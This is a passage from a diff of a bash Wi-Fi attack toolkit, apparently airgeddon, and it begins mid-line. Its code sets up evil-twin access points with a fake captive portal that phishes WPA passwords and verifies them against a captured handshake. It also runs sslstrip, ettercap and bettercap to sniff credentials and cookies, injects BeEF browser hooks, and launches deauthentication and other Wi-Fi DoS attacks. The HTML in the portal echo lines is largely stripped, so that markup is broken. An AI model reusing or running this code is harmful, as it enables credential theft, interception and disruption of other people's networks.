${attempts_path} 2> /dev/null | tail -1) + tput el && echo -ne "\t${attempts_text} ${attempts_number}" + if [ "${attempts_number}" -gt 0 ]; then + EOF + + cat >&7 <<-EOF + open_parenthesis="${yellow_color}(${normal_color}" + close_parenthesis="${yellow_color})${normal_color}" + EOF + + cat >&7 <<-'EOF' + echo -ne " ${open_parenthesis} ${last_password_msg} ${last_password} ${close_parenthesis}" + fi + fi + echo + echo + fi + EOF + + cat >&7 <<-EOF + echo -e "\t${green_color}${et_misc_texts[${language},3]}${normal_color}" + readarray -t DHCPCLIENTS < <(grep DHCPACK < "${tmpdir}clts.txt") + client_ips=() + EOF + + cat >&7 <<-'EOF' + if [[ -z "${DHCPCLIENTS[@]}" ]]; then + EOF + + cat >&7 <<-EOF + echo -e "\t${et_misc_texts[${language},7]}" + else + EOF + + cat >&7 <<-'EOF' + for client in "${DHCPCLIENTS[@]}"; do + [[ ${client} =~ ^DHCPACK[[:space:]]on[[:space:]]([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})[[:space:]]to[[:space:]](([a-fA-F0-9]{2}:?){5,6}).* ]] && client_ip="${BASH_REMATCH[1]}" && client_mac="${BASH_REMATCH[2]}" + if [[ " ${client_ips[*]} " != *" ${client_ip} "* ]]; then + client_hostname="" + [[ ${client} =~ .*(\(.+\)).* ]] && client_hostname="${BASH_REMATCH[1]}" + if [[ -z "${client_hostname}" ]]; then + echo -e "\t${client_ip} ${client_mac}" + else + echo -e "\t${client_ip} ${client_mac} ${client_hostname}" + fi + fi + client_ips+=(${client_ip}) + done + fi + echo -ne "\033[K\033[u" + sleep 0.3 + done + EOF + + exec 7>&- + sleep 1 +} + +#Launch dnsspoof dns black hole for captive portal Evil Twin attack +function launch_dns_blackhole() { + + debug_print + + recalculate_windows_sizes + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "DNS" -e "${optional_tools_names[12]} -i ${interface}" > /dev/null 2>&1 & + et_processes+=($!) +} + +#Launch control window for Evil Twin attacks +function launch_control_window() { + + debug_print + + recalculate_windows_sizes + case ${et_mode} in + "et_onlyap") + control_scr_window_position=${g1_topright_window} + ;; + "et_sniffing") + control_scr_window_position=${g3_topright_window} + ;; + "et_captive_portal") + if [ ${captive_portal_mode} = "internet" ]; then + control_scr_window_position=${g3_topright_window} + else + control_scr_window_position=${g4_topright_window} + fi + ;; + "et_sniffing_sslstrip") + control_scr_window_position=${g4_topright_window} + ;; + "et_sniffing_sslstrip2") + control_scr_window_position=${g4_topright_window} + ;; + esac + xterm -hold -bg black -fg white -geometry "${control_scr_window_position}" -T "Control" -e "bash \"${tmpdir}${control_file}\"" > /dev/null 2>&1 & + et_process_control_window=$! +} + +#Create configuration file for lighttpd +function set_webserver_config() { + + debug_print + + rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1 + + { + echo -e "server.document-root = \"${tmpdir}${webdir}\"\n" + echo -e "server.modules = (" + echo -e "\"mod_cgi\"" + echo -e ")\n" + echo -e "server.port = 80\n" + echo -e "index-file.names = ( \"${indexfile}\" )\n" + echo -e "server.error-handler-404 = \"/\"\n" + echo -e "mimetype.assign = (" + echo -e "\".css\" => \"text/css\"," + echo -e "\".js\" => \"text/javascript\"" + echo -e ")\n" + echo -e "cgi.assign = ( \".htm\" => \"/bin/bash\" )" + } >> "${tmpdir}${webserver_file}" + + sleep 2 +} + +#Create captive portal files. Cgi bash scripts, css and js file +function set_captive_portal_page() { + + debug_print + + rm -rf -R "${tmpdir}${webdir}" > /dev/null 2>&1 + mkdir "${tmpdir}${webdir}" > /dev/null 2>&1 + + { + echo -e "body * {" + echo -e "\tbox-sizing: border-box;" + echo -e "\tfont-family: Helvetica, Arial, sans-serif;" + echo -e "}\n" + echo -e ".button {" + echo -e "\tcolor: #ffffff;" + echo -e "\tbackground-color: #1b5e20;" + echo -e "\tborder-radius: 5px;" + echo -e "\tcursor: pointer;" + echo -e "\theight: 30px;" + echo -e "}\n" + echo -e ".content {" + echo -e "\twidth: 100%;" + echo -e "\tbackground-color: #43a047;" + echo -e "\tpadding: 20px;" + echo -e "\tmargin: 15px auto 0;" + echo -e "\tborder-radius: 15px;" + echo -e "\tcolor: #ffffff;" + echo -e "}\n" + echo -e ".title {" + echo -e "\ttext-align: center;" + echo -e "\tmargin-bottom: 15px;" + echo -e "}\n" + echo -e "#password {" + echo -e "\twidth: 100%;" + echo -e "\tmargin-bottom: 5px;" + echo -e "\tborder-radius: 5px;" + echo -e "\theight: 30px;" + echo -e "}\n" + echo -e "#password:hover," + echo -e "#password:focus {" + echo -e "\tbox-shadow: 0 0 10px #69f0ae;" + echo -e "}\n" + echo -e ".bold {" + echo -e "\tfont-weight: bold;" + echo -e "}\n" + echo -e "#showpass {" + echo -e "\tvertical-align: top;" + echo -e "}\n" + } >> "${tmpdir}${webdir}${cssfile}" + + { + echo -e "(function() {\n" + echo -e "\tvar onLoad = function() {" + echo -e "\t\tvar formElement = document.getElementById(\"loginform\");" + echo -e "\t\tif (formElement != null) {" + echo -e "\t\t\tvar password = document.getElementById(\"password\");" + echo -e "\t\t\tvar showpass = function() {" + echo -e "\t\t\t\tpassword.setAttribute(\"type\", password.type == \"text\" ? \"password\" : \"text\");" + echo -e "\t\t\t}" + echo -e "\t\t\tdocument.getElementById(\"showpass\").addEventListener(\"click\", showpass);" + echo -e "\t\t\tdocument.getElementById(\"showpass\").checked = false;\n" + echo -e "\t\t\tvar validatepass = function() {" + echo -e "\t\t\t\tif (password.value.length < 8) {" + echo -e "\t\t\t\t\talert(\"${et_misc_texts[${captive_portal_language},16]}\");" + echo -e "\t\t\t\t}" + echo -e "\t\t\t\telse {" + echo -e "\t\t\t\t\tformElement.submit();" + echo -e "\t\t\t\t}" + echo -e "\t\t\t}" + echo -e "\t\t\tdocument.getElementById(\"formbutton\").addEventListener(\"click\", validatepass);" + echo -e "\t\t}" + echo -e "\t};\n" + echo -e "\tdocument.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);" + echo -e "})();\n" + echo -e "function redirect() {" + echo -e "\tdocument.location = \"${indexfile}\";" + echo -e "}\n" + } >> "${tmpdir}${webdir}${jsfile}" + + { + echo -e "#!/bin/bash" + echo -e "echo ''" + echo -e "echo ''" + echo -e "echo -e '\t'" + echo -e "echo -e '\t\t'" + echo -e "echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}'" + echo -e "echo -e '\t\t'" + echo -e "echo -e '\t\t'" + echo -e "echo -e '\t'" + echo -e "echo -e '\t'" + echo -e "echo -e '\t\t
'" + echo -e "echo -e '\t\t\t
'" + echo -e "echo -e '\t\t\t\t
'" + echo -e "echo -e '\t\t\t\t\t

${et_misc_texts[${captive_portal_language},9]}

'" + echo -e "echo -e '\t\t\t\t\t${essid}'" + echo -e "echo -e '\t\t\t\t
'" + echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},10]}

'" + echo -e "echo -e '\t\t\t\t'" + echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},12]}

'" + echo -e "echo -e '\t\t\t\t'" + echo -e "echo -e '\t\t\t
'" + echo -e "echo -e '\t\t
'" + echo -e "echo -e '\t'" + echo -e "echo ''" + echo -e "exit 0" + } >> "${tmpdir}${webdir}${indexfile}" + + exec 4>"${tmpdir}${webdir}${checkfile}" + + cat >&4 <<-EOF + #!/bin/bash + echo '' + echo '' + echo -e '\t' + echo -e '\t\t' + echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}' + echo -e '\t\t' + echo -e '\t\t' + echo -e '\t' + echo -e '\t' + echo -e '\t\t
' + echo -e '\t\t\t

' + EOF + + cat >&4 <<-'EOF' + POST_DATA=$(cat /dev/stdin) + if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then + POST_DATA=${POST_DATA#*=} + password=${POST_DATA/+/ } + password=${password//[*&\/?<>]} + password=$(printf '%b' "${password//%/\\x}") + password=${password//[*&\/?<>]} + fi + + if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then + EOF + + cat >&4 <<-EOF + rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1 + EOF + + cat >&4 <<-'EOF' + echo "${password}" >\ + EOF + + cat >&4 <<-EOF + "${tmpdir}${webdir}${currentpassfile}" + aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null + EOF + + cat >&4 <<-'EOF' + if [ "$?" = "0" ]; then + EOF + + cat >&4 <<-EOF + touch "${tmpdir}${webdir}${successfile}" + echo '${et_misc_texts[${captive_portal_language},18]}' + et_successful=1 + else + EOF + + cat >&4 <<-'EOF' + echo "${password}" >>\ + EOF + + cat >&4 <<-EOF + "${tmpdir}${webdir}${attemptsfile}" + echo '${et_misc_texts[${captive_portal_language},17]}' + et_successful=0 + fi + EOF + + cat >&4 <<-'EOF' + elif [[ ${#password} -gt 0 ]] && [[ ${#password} -lt 8 ]]; then + EOF + + cat >&4 <<-EOF + echo '${et_misc_texts[${captive_portal_language},26]}' + et_successful=0 + else + echo '${et_misc_texts[${captive_portal_language},14]}' + et_successful=0 + fi + echo -e '\t\t\t

' + echo -e '\t\t
' + echo -e '\t' + echo '' + EOF + + cat >&4 <<-'EOF' + if [ ${et_successful} -eq 1 ]; then + exit 0 + else + echo '' + exit 1 + fi + EOF + + exec 4>&- + sleep 3 +} + +#Launch lighttpd webserver for captive portal Evil Twin attack +function launch_webserver() { + + debug_print + + killall lighttpd > /dev/null 2>&1 + recalculate_windows_sizes + if [ ${captive_portal_mode} = "internet" ]; then + lighttpd_window_position=${g3_bottomright_window} + else + lighttpd_window_position=${g4_bottomright_window} + fi + xterm -hold -bg black -fg yellow -geometry "${lighttpd_window_position}" -T "Webserver" -e "lighttpd -D -f \"${tmpdir}${webserver_file}\"" > /dev/null 2>&1 & + et_processes+=($!) +} + +#Launch sslstrip for sslstrip sniffing Evil Twin attack +function launch_sslstrip() { + + debug_print + + rm -rf "${tmpdir}${sslstrip_file}" > /dev/null 2>&1 + recalculate_windows_sizes + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "Sslstrip" -e "sslstrip -w \"${tmpdir}${sslstrip_file}\" -p -l ${sslstrip_port} -f -k" > /dev/null 2>&1 & + et_processes+=($!) +} + +#Launch ettercap sniffer +function launch_ettercap_sniffing() { + + debug_print + + recalculate_windows_sizes + case ${et_mode} in + "et_sniffing") + sniffing_scr_window_position=${g3_bottomright_window} + ;; + "et_sniffing_sslstrip") + sniffing_scr_window_position=${g4_bottomright_window} + ;; + esac + ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u" + if [ ${ettercap_log} -eq 1 ]; then + ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" + fi + + xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer" -e "${ettercap_cmd}" > /dev/null 2>&1 & + et_processes+=($!) +} + +#Create configuration file for beef +function set_beef_config() { + + debug_print + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 + + if [ -d "${beef_path}db" ]; then + beef_db="db/${beef_db}" + fi + + { + echo -e "beef:" + echo -e " version: 'airgeddon integrated'" + echo -e " debug: false" + echo -e " client_debug: false" + echo -e " crypto_default_value_length: 80" + echo -e " restrictions:" + echo -e " permitted_hooking_subnet: \"${et_ip_range}/24\"" + echo -e " permitted_ui_subnet: \"0.0.0.0/0\"" + #TODO: This should be permitted_ui_subnet: "127.0.0.1/32" but is not possible to use it with bettercap's proxy because of a bug + #https://github.com/evilsocket/bettercap/issues/356 + #https://github.com/beefproject/beef/issues/1337 + echo -e " http:" + echo -e " debug: false" + echo -e " host: \"0.0.0.0\"" + echo -e " port: \"${beef_port}\"" + echo -e " dns_host: \"localhost\"" + echo -e " dns_port: 53" + echo -e " web_ui_basepath: \"/ui\"" + echo -e " hook_file: \"/${jshookfile}\"" + echo -e " hook_session_name: \"BEEFHOOK\"" + echo -e " session_cookie_name: \"BEEFSESSION\"" + echo -e " web_server_imitation:" + echo -e " enable: true" + echo -e " type: \"apache\"" + echo -e " hook_404: false" + echo -e " hook_root: false" + echo -e " database:" + echo -e " driver: \"sqlite\"" + echo -e " db_file: \"${beef_db}\"" + echo -e " credentials:" + echo -e " user: \"beef\"" + echo -e " passwd: \"${beef_pass}\"" + echo -e " autorun:" + echo -e " enable: true" + echo -e " result_poll_interval: 300" + echo -e " result_poll_timeout: 5000" + echo -e " continue_after_timeout: true" + echo -e " dns_hostname_lookup: false" + echo -e " integration:" + echo -e " phishing_frenzy:" + echo -e " enable: false" + echo -e " extension:" + echo -e " requester:" + echo -e " enable: true" + echo -e " proxy:" + echo -e " enable: true" + echo -e " key: \"beef_key.pem\"" + echo -e " cert: \"beef_cert.pem\"" + echo -e " metasploit:" + echo -e " enable: false" + echo -e " social_engineering:" + echo -e " enable: true" + echo -e " evasion:" + echo -e " enable: false" + echo -e " console:" + echo -e " shell:" + echo -e " enable: false" + echo -e " ipec:" + echo -e " enable: true" + echo -e " dns:" + echo -e " enable: false" + echo -e " dns_rebinding:" + echo -e " enable: false" + } >> "${tmpdir}${beef_file}" +} + +#Kill beef process +function kill_beef() { + + debug_print + + killall "${optional_tools_names[19]}" > /dev/null 2>&1 + if [ "$?" != "0" ]; then + beef_pid=$(ps uax | pgrep -f "${optional_tools_names[19]}") + kill "${beef_pid}" &> /dev/null + if [ "$?" != "0" ]; then + beef_pid=$(ps uax | pgrep -f "beef") + kill "${beef_pid}" &> /dev/null + fi + fi +} + +#Detects if your beef is Flexible Brainfuck interpreter instead of BeEF +function detect_fake_beef() { + + debug_print + + readarray -t BEEF_OUTPUT < <(timeout -s SIGTERM 0.5 beef -h 2> /dev/null) + + for item in "${BEEF_OUTPUT[@]}"; do + if [[ ${item} =~ Brainfuck ]]; then + fake_beef_found=1 + break + fi + done +} + +#Search for beef path +function search_for_beef() { + + debug_print + + if [ "${beef_found}" -eq 0 ]; then + for item in "${possible_beef_known_locations[@]}"; do + if [ -f "${item}beef" ]; then + beef_path="${item}" + beef_found=1 + break + fi + done + fi +} + +#Prepare system to work with beef +function prepare_beef_start() { + + debug_print + + valid_possible_beef_path=0 + if [[ ${beef_found} -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then + language_strings "${language}" 405 "blue" + ask_yesno 191 + if [ ${yesno} = "y" ]; then + manual_beef_set + search_for_beef + fi + + if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then + fix_beef_executable "${manually_entered_beef_path}" + fi + + if [ ${beef_found} -eq 1 ]; then + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + fi + elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then + fix_beef_executable "${beef_path}" + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then + language_strings "${language}" 405 "blue" + ask_yesno 415 + if [ ${yesno} = "y" ]; then + manual_beef_set + search_for_beef + if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then + rewrite_script_with_custom_beef "set" "${manually_entered_beef_path}" + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + fi + fi + fi +} + +#Set beef path manually +function manual_beef_set() { + + debug_print + + while [[ "${valid_possible_beef_path}" != "1" ]]; do + echo + language_strings "${language}" 402 "green" + read -r manually_entered_beef_path + if [ -n "${manually_entered_beef_path}" ]; then + lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} + if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then + manually_entered_beef_path="${manually_entered_beef_path}/" + fi + + firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} + if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then + language_strings "${language}" 404 "red" + else + if [ -d "${manually_entered_beef_path}" ]; then + if [ -f "${manually_entered_beef_path}beef" ]; then + head "${manually_entered_beef_path}beef" -n 1 2> /dev/null| grep ruby > /dev/null + if [ "$?" = "0" ]; then + possible_beef_known_locations+=(${manually_entered_beef_path}) + valid_possible_beef_path=1 + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 403 "red" + fi + fi + fi + done +} + +#Fix for not found beef executable +function fix_beef_executable() { + + debug_print + + rm -rf "/usr/bin/beef" > /dev/null 2>&1 + { + echo -e "#!/bin/bash\n" + echo -e "cd ${1}" + echo -e "./beef" + } >> "/usr/bin/beef" + chmod +x "/usr/bin/beef" > /dev/null 2>&1 + optional_tools[${optional_tools_names[19]}]=1 + + rewrite_script_with_custom_beef "set" "${1}" +} + +#Rewrite airgeddon script in a polymorphic way adding custom beef location to array to get persistence +function rewrite_script_with_custom_beef() { + + debug_print + + case ${1} in + "set") + sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null + chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1 + ;; + "search") + beef_custom_path_line=$(grep "#[C]ustom BeEF location (set=1)" < "${scriptfolder}${scriptname}" 2> /dev/null) + if [ -n "${beef_custom_path_line}" ]; then + [[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}" + fi + ;; + esac +} + +#Start beef process as a service +function start_beef_service() { + + debug_print + + service "${optional_tools_names[19]}" restart > /dev/null 2>&1 + if [ "$?" != "0" ]; then + systemctl restart "${optional_tools_names[19]}.service" > /dev/null 2>&1 + fi +} + +#Launch beef browser exploitation framework +function launch_beef() { + + debug_print + + kill_beef + + if [ "${beef_found}" -eq 0 ]; then + start_beef_service + fi + + recalculate_windows_sizes + if [ "${beef_found}" -eq 1 ]; then + rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 + cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "cd ${beef_path} && ./beef -c \"${beef_file}\"" > /dev/null 2>&1 & + else + xterm -hold -bg black -fg green -geometry "${g4_middleright_window}" -T "BeEF" -e "${optional_tools_names[19]}" > /dev/null 2>&1 & + fi + et_processes+=($!) + sleep 2 +} + +#Launch bettercap sniffer +function launch_bettercap_sniffing() { + + debug_print + + recalculate_windows_sizes + sniffing_scr_window_position=${g4_bottomright_window} + + if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then + bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs" + fi + + bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" + + if [ ${bettercap_log} -eq 1 ]; then + bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" + fi + + xterm -hold -bg black -fg yellow -geometry "${sniffing_scr_window_position}" -T "Sniffer+Bettercap-Sslstrip2/BeEF" -e "${bettercap_cmd}" > /dev/null 2>&1 & + et_processes+=($!) +} + +#Parse ettercap log searching for captured passwords +function parse_ettercap_log() { + + debug_print + + echo + language_strings "${language}" 304 "blue" + + readarray -t CAPTUREDPASS < <(etterlog -L -p -i "${tmp_ettercaplog}.eci" 2> /dev/null | egrep -i "USER:|PASS:") + + { + echo "" + date +%Y-%m-%d + echo "${et_misc_texts[${language},8]}" + echo "" + echo "BSSID: ${bssid}" + echo "${et_misc_texts[${language},1]}: ${channel}" + echo "ESSID: ${essid}" + echo "" + echo "---------------" + echo "" + } >> "${tmpdir}parsed_file" + + pass_counter=0 + for cpass in "${CAPTUREDPASS[@]}"; do + echo "${cpass}" >> "${tmpdir}parsed_file" + pass_counter=$((pass_counter + 1)) + done + + if [ ${pass_counter} -eq 0 ]; then + language_strings "${language}" 305 "yellow" + else + language_strings "${language}" 306 "blue" + cp "${tmpdir}parsed_file" "${ettercap_logpath}" > /dev/null 2>&1 + fi + + rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 + language_strings "${language}" 115 "read" +} + +#Parse bettercap log searching for captured passwords +function parse_bettercap_log() { + + debug_print + + echo + language_strings "${language}" 304 "blue" + + local regexp='USER|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE' + local regexp2='USER-AGENT|COOKIES|BEEFHOOK' + readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | egrep -i ${regexp} | egrep -vi ${regexp2}) + + { + echo "" + date +%Y-%m-%d + echo "${et_misc_texts[${language},8]}" + echo "" + echo "BSSID: ${bssid}" + echo "${et_misc_texts[${language},1]}: ${channel}" + echo "ESSID: ${essid}" + echo "" + echo "---------------" + echo "" + } >> "${tmpdir}parsed_file" + + pass_counter=0 + captured_cookies=() + for cpass in "${BETTERCAPLOG[@]}"; do + if [[ ${cpass} =~ COOKIE ]]; then + repeated_cookie=0 + for item in "${captured_cookies[@]}"; do + if [ "${item}" = "${cpass}" ]; then + repeated_cookie=1 + break + fi + done + if [ ${repeated_cookie} -eq 0 ]; then + captured_cookies+=("${cpass}") + echo "${cpass}" >> "${tmpdir}parsed_file" + pass_counter=$((pass_counter + 1)) + fi + else + echo "${cpass}" >> "${tmpdir}parsed_file" + pass_counter=$((pass_counter + 1)) + fi + done + + if [ ${pass_counter} -eq 0 ]; then + language_strings "${language}" 305 "yellow" + else + language_strings "${language}" 399 "blue" + cp "${tmpdir}parsed_file" "${bettercap_logpath}" > /dev/null 2>&1 + fi + + rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 + language_strings "${language}" 115 "read" +} + +#Write on a file the id of the captive portal Evil Twin attack processes +function write_et_processes() { + + debug_print + + for item in "${et_processes[@]}"; do + echo "${item}" >> "${tmpdir}${webdir}${processesfile}" + done +} + +#Kill the Evil Twin processes +function kill_et_windows() { + + debug_print + + for item in "${et_processes[@]}"; do + kill "${item}" &> /dev/null + done + kill ${et_process_control_window} &> /dev/null +} + +#Convert capture file to hashcat format +function convert_cap_to_hashcat_format() { + + debug_print + + tmpfiles_toclean=1 + rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 + echo "1" | aircrack-ng "${enteredpath}" -J "${tmpdir}hctmp" -b "${bssid}" > /dev/null 2>&1 +} + +#Handshake tools menu +function handshake_tools_menu() { + + debug_print + + clear + language_strings "${language}" 120 "title" + current_menu="handshake_tools_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 + language_strings "${language}" 124 "separator" + language_strings "${language}" 121 + print_simple_separator + language_strings "${language}" 122 clean_handshake_dependencies[@] + print_simple_separator + language_strings "${language}" 123 + print_hint ${current_menu} + + read -r handshake_option + case ${handshake_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + explore_for_targets_option + ;; + 5) + capture_handshake + ;; + 6) + contains_element "${handshake_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + clean_handshake_file_option + fi + ;; + 7) + return + ;; + *) + invalid_menu_option + ;; + esac + + handshake_tools_menu +} + +#Execute the cleaning of a Handshake file +function exec_clean_handshake_file() { + + debug_print + + echo + check_valid_file_to_clean "${filetoclean}" + if [ "$?" != "0" ]; then + language_strings "${language}" 159 "yellow" + else + wpaclean "${filetoclean}" "${filetoclean}" > /dev/null 2>&1 + language_strings "${language}" 153 "yellow" + fi + language_strings "${language}" 115 "read" +} + +#Validate and ask for the parameters used to clean a Handshake file +function clean_handshake_file_option() { + + debug_print + + echo + readpath=0 + + if [ -z "${enteredpath}" ]; then + language_strings "${language}" 150 "blue" + readpath=1 + else + language_strings "${language}" 151 "blue" + ask_yesno 152 + if [ ${yesno} = "y" ]; then + filetoclean="${enteredpath}" + else + readpath=1 + fi + fi + + if [ ${readpath} -eq 1 ]; then + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "cleanhandshake" + done + fi + + exec_clean_handshake_file +} + +#DoS attacks menu +function dos_attacks_menu() { + + debug_print + + clear + language_strings "${language}" 102 "title" + current_menu="dos_attacks_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 48 + language_strings "${language}" 55 + language_strings "${language}" 56 + language_strings "${language}" 49 + language_strings "${language}" 50 "separator" + language_strings "${language}" 51 mdk3_attack_dependencies[@] + language_strings "${language}" 52 aireplay_attack_dependencies[@] + language_strings "${language}" 53 mdk3_attack_dependencies[@] + language_strings "${language}" 54 "separator" + language_strings "${language}" 62 mdk3_attack_dependencies[@] + language_strings "${language}" 63 mdk3_attack_dependencies[@] + language_strings "${language}" 64 mdk3_attack_dependencies[@] + print_simple_separator + language_strings "${language}" 59 + print_hint ${current_menu} + + read -r dos_option + case ${dos_option} in + 1) + select_interface + ;; + 2) + monitor_option + ;; + 3) + managed_option + ;; + 4) + explore_for_targets_option + ;; + 5) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + mdk3_deauth_option + fi + ;; + 6) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + aireplay_deauth_option + fi + ;; + 7) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + wds_confusion_option + fi + ;; + 8) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + beacon_flood_option + fi + ;; + 9) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + auth_dos_option + fi + ;; + 10) + contains_element "${dos_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + michael_shutdown_option + fi + ;; + 11) + return + ;; + *) + invalid_menu_option + ;; + esac + + dos_attacks_menu +} + +#Capture Handshake on Evil Twin attack +function capture_handshake_evil_twin() { + + debug_print + + if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then + echo + language_strings "${language}" 137 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + capture_handshake_window + + case ${et_dos_attack} in + "Mdk3") + rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 + echo "${bssid}" > "${tmpdir}bl.txt" + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + sleeptimeattack=12 + ;; + "Aireplay") + ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + sleeptimeattack=12 + ;; + "Wds Confusion") + recalculate_windows_sizes + xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + sleeptimeattack=16 + ;; + esac + + processidattack=$! + sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null + + ask_yesno 145 + handshake_captured=${yesno} + kill "${processidcapture}" &> /dev/null + if [ "${handshake_captured}" = "y" ]; then + + handshakepath="${default_save_path}" + lastcharhandshakepath=${handshakepath: -1} + if [ "${lastcharhandshakepath}" != "/" ]; then + handshakepath="${handshakepath}/" + fi + handshakefilename="handshake-${bssid}.cap" + handshakepath="${handshakepath}${handshakefilename}" + + language_strings "${language}" 162 "yellow" + validpath=1 + while [[ "${validpath}" != "0" ]]; do + read_path "writeethandshake" + done + + cp "${tmpdir}${standardhandshake_filename}" "${et_handshake}" + echo + language_strings "${language}" 324 "blue" + language_strings "${language}" 115 "read" + return 0 + else + echo + language_strings "${language}" 146 "red" + language_strings "${language}" 115 "read" + return 2 + fi +} + +#Capture Handshake on Handshake tools +function capture_handshake() { + + debug_print + + if [[ -z ${bssid} ]] || [[ -z ${essid} ]] || [[ -z ${channel} ]] || [[ "${essid}" = "(Hidden Network)" ]]; then + echo + language_strings "${language}" 125 "yellow" + language_strings "${language}" 115 "read" + explore_for_targets_option + fi + + if [ "$?" != "0" ]; then + return 1 + fi + + if [[ ${enc} != "WPA" ]] && [[ ${enc} != "WPA2" ]]; then + echo + language_strings "${language}" 137 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + language_strings "${language}" 126 "yellow" + language_strings "${language}" 115 "read" + + attack_handshake_menu "new" +} + +#Check if file exists +function check_file_exists() { + + debug_print + + if [[ ! -f "${1}" || -z "${1}" ]]; then + language_strings "${language}" 161 "red" + return 1 + fi + return 0 +} + +#Validate path +function validate_path() { + + debug_print + + dirname=${1%/*} + + if [[ ! -d "${dirname}" ]] || [[ "${dirname}" = "." ]]; then + language_strings "${language}" 156 "red" + return 1 + fi + + check_write_permissions "${dirname}" + if [ "$?" != "0" ]; then + language_strings "${language}" 157 "red" + return 1 + fi + + lastcharmanualpath=${1: -1} + if [[ "${lastcharmanualpath}" = "/" ]] || [[ -d "${1}" ]]; then + + if [ "${lastcharmanualpath}" != "/" 